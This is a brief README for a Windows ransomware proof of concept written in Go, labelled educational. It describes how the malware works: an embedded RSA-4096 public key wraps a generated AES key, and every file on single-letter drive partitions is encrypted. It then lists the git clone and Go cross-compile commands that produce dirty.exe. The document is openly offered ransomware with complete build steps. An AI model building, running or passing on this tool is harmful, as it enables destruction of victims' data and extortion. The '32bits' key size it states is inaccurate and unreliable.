Windows Ransomware - Proof of Concept
This is for educational purposes - author is not responsible for any damage.
Use with caution.
Run on Virtual Machine.
RSA 4096b public key is base64 encoded as string. On start, we generate 32bits token for AES encryption, that we encrypt with rsa public key and save. We search for single-character partitions, and encrypt every file with AES.
git clone https://github.com/alx3dev/DirtyGo.git
cd DirtyGo
go mod init dirty_go
go mod tidy
GOOS=windows go build dirty.go
// => dirty.exe